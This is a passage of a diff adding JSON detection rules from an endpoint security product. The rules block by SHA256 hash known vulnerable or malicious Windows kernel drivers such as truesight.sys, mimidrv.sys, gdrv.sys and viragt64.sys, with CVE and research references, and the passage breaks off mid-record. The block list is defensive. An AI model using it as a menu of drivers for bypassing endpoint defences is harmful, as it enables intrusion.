+  "id": "f69b839e-1787-523f-8eaa-1eba964966d6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.809729Z",
+  "creation_date": "2026-03-23T11:45:31.809733Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.809741Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9a9ca3709a5e9711846effbabb2b19b74d6827ebf109084335583bd75b7741ca",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f69da92f-08aa-55b1-b9e6-ceeffb2e4235",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.472245Z",
+  "creation_date": "2026-03-23T11:45:30.472248Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.472257Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b7aa4c17afdaff1603ef9b5cc8981bed535555f8185b59d5ae13f342f27ca6c5",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f6a23057-5ea4-5c10-a089-6608586baad3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.468953Z",
+  "creation_date": "2026-03-23T11:45:30.468957Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.468967Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "34d57107b592c4d2c7d1c95eea1ab7400c09d23864c3870ca3656b5ae81859aa",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f6a7b786-1cb2-5abd-b3b3-102a9ea0e606",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.466014Z",
+  "creation_date": "2026-03-23T11:45:30.466017Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.466026Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dfc80e0d468a2c115a902aa332a97e3d279b1fc3d32083e8cf9a4aadf3f54ad1",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f6ac5bf5-66f3-5b05-bb1e-64a62fbab86f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.967475Z",
+  "creation_date": "2026-03-23T11:45:29.967477Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.967483Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bff9b75ae2eea49a765f79d9c67c997edb6c67a2cc720c6187dd2f67980acab7",
+  "comment": "Retliften malicious signed drivers (aka netfilter.sys) [https://msrc-blog.microsoft.com/2021/06/25/investigating-and-mitigating-malicious-drivers/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f6ad554f-bb77-5ec5-97f2-0ca898257868",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.145525Z",
+  "creation_date": "2026-03-23T11:45:32.145527Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.145534Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "95ca14e045618fb38834d17c5cc176162a29d846c1463b840c9129fb9af47c68",
+  "comment": "Vulnerable Kernel Driver (aka szkg64.sys) [https://www.loldrivers.io/drivers/375e8de3-aae4-488d-8273-66744978b45f/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f6af791f-ac9a-51ec-a7bb-215c31454cfa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605770Z",
+  "creation_date": "2026-03-23T11:45:29.605772Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605778Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b3a99e3184b73011f565210e169df27545aacf63e10ceb3c5e35602a698877f5",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f6b52d01-97e2-5a5e-bcd3-eefc46cef81e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155787Z",
+  "creation_date": "2026-03-23T11:45:31.155789Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155795Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "373d50fcb66000374b9b6b0044e3a456ef2d2acfd4748fa55d00fa71be814493",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f6bcb6f6-8875-5727-bbf5-69c98ac0459d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.157402Z",
+  "creation_date": "2026-03-23T11:45:31.157408Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.157418Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d6ac74e0b2bdcdd56538498b01483b2ab2e724d82bebe095ff0ca57c51e3b14d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f6bee408-bfbc-552a-9b4e-1c39a2715e9d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.480940Z",
+  "creation_date": "2026-03-23T11:45:31.480944Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.480961Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9a56b25010995e6bd244bdf59ded80a62986701a1dbf91142148cb41038c7bcf",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f6c97a80-1704-5e68-9f14-875e260c4a8b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.485547Z",
+  "creation_date": "2026-03-23T11:45:31.485550Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.485560Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f641ac8749a0fa9c116f61f98061732416665dd6f5899ef3bbd0715a078e3d77",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f6d8ee60-e5df-555a-968a-e09f9845202b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.823130Z",
+  "creation_date": "2026-03-23T11:45:31.823133Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.823141Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8ceb24d0060383f34f6ef3a105df078b357e4119b3ff3739b33add0a2dcaad79",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f6eb5188-1546-5914-873a-7aa767b10724",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.609429Z",
+  "creation_date": "2026-03-23T11:45:29.609431Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.609436Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b213524b22aadcc273142c4b8afc2a6219d6b8b7cab4b41adf9944efb8f46005",
+  "comment": "Gigabyte vulnerable driver (aka gdrv.sys) [CVE-2018-19320] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f6f33bfb-fc9e-51ce-a6da-dc0ddedec0c9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979726Z",
+  "creation_date": "2026-03-23T11:45:29.979728Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979733Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "40e0be2ed5d07d5ecf14232fe64a95c7ad6fd942a60b4a6e21fda69c75bbb78d",
+  "comment": "Malicious Kernel Driver (aka windbg.sys) [https://www.loldrivers.io/drivers/da7314dc-6cf1-4d74-a0d1-796fc08944f8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f6f3ed1b-b4c6-54ae-bd06-8a5238967a14",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.470843Z",
+  "creation_date": "2026-03-23T11:45:30.470847Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.470856Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "07f962d8b90f359cf12faa55772d0ef05237ac2fbb2ff7d5cff700df93643e65",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f6fc5e61-96df-568d-bd08-5b457de13679",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608670Z",
+  "creation_date": "2026-03-23T11:45:29.608672Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608678Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f8a7f08a0e8cdd52a35ad54a576dec8c1cd6a1ded6c28422f2e70ae8e8107fbb",
+  "comment": "VirtualBox VBoxDrv vulnerable driver (aka VBoxDrv.sys) [CVE-2008-3431] [https://www.loldrivers.io/drivers/79542852-3a0c-43bc-bfa3-3eeb0e1d7fd2/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f6fe166b-04c4-5903-9bee-218f5182072f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.807605Z",
+  "creation_date": "2026-03-23T11:45:31.807607Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.807613Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b7dcaf3a048710fe192179f551090eb4c216b0fab5c208996e72baefcc2451e2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f700e3e0-2914-56e7-b9fe-55f1305e9f8e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.159403Z",
+  "creation_date": "2026-03-23T11:45:31.159405Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.159410Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c6456b92b1f3dca09c62ce5e9e70d1b8cf82e426f5033b2cba384f6efd710a77",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f706fdea-0c4a-50a8-aa0d-079a6f84e16b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156143Z",
+  "creation_date": "2026-03-23T11:45:31.156145Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156150Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "85db85f799171057ff4d736e68737b8a464da14c18f4d31e26c43051c3e67de1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f70920ea-9123-54a4-ae2b-900d951734b1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.473987Z",
+  "creation_date": "2026-03-23T11:45:31.473992Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.474002Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bf960262b1ce57f1eaec06bde3c8d33425e6924b58e71d20634d5b74193a2c46",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f7111408-3afd-5b15-90ea-2af16d4e75cc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.142766Z",
+  "creation_date": "2026-03-23T11:45:32.142768Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.142777Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a32806139db1f02442679cc20c0ca4d30f91c6a42c6205d347cbc374779900d2",
+  "comment": "Vulnerable VirIT Agent System Driver (aka viragt64.sys) [https://www.trendmicro.com/en_no/research/24/a/kasseika-ransomware-deploys-byovd-attacks-abuses-psexec-and-expl.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f71e4d97-1a98-554b-9e59-cb89c0bf25e5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968308Z",
+  "creation_date": "2026-03-23T11:45:29.968311Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968321Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "865e4bc7290fc3b380e266ccd98c2d4e965beb711d7efd090d052e8326accdd2",
+  "comment": "ENE Technology Inc Vulnerable I/O Driver (aka ene.sys) [https://swapcontext.blogspot.com/2020/08/ene-technology-inc-vulnerable-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f7284bbd-6c40-5340-8a96-29300f7f912e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
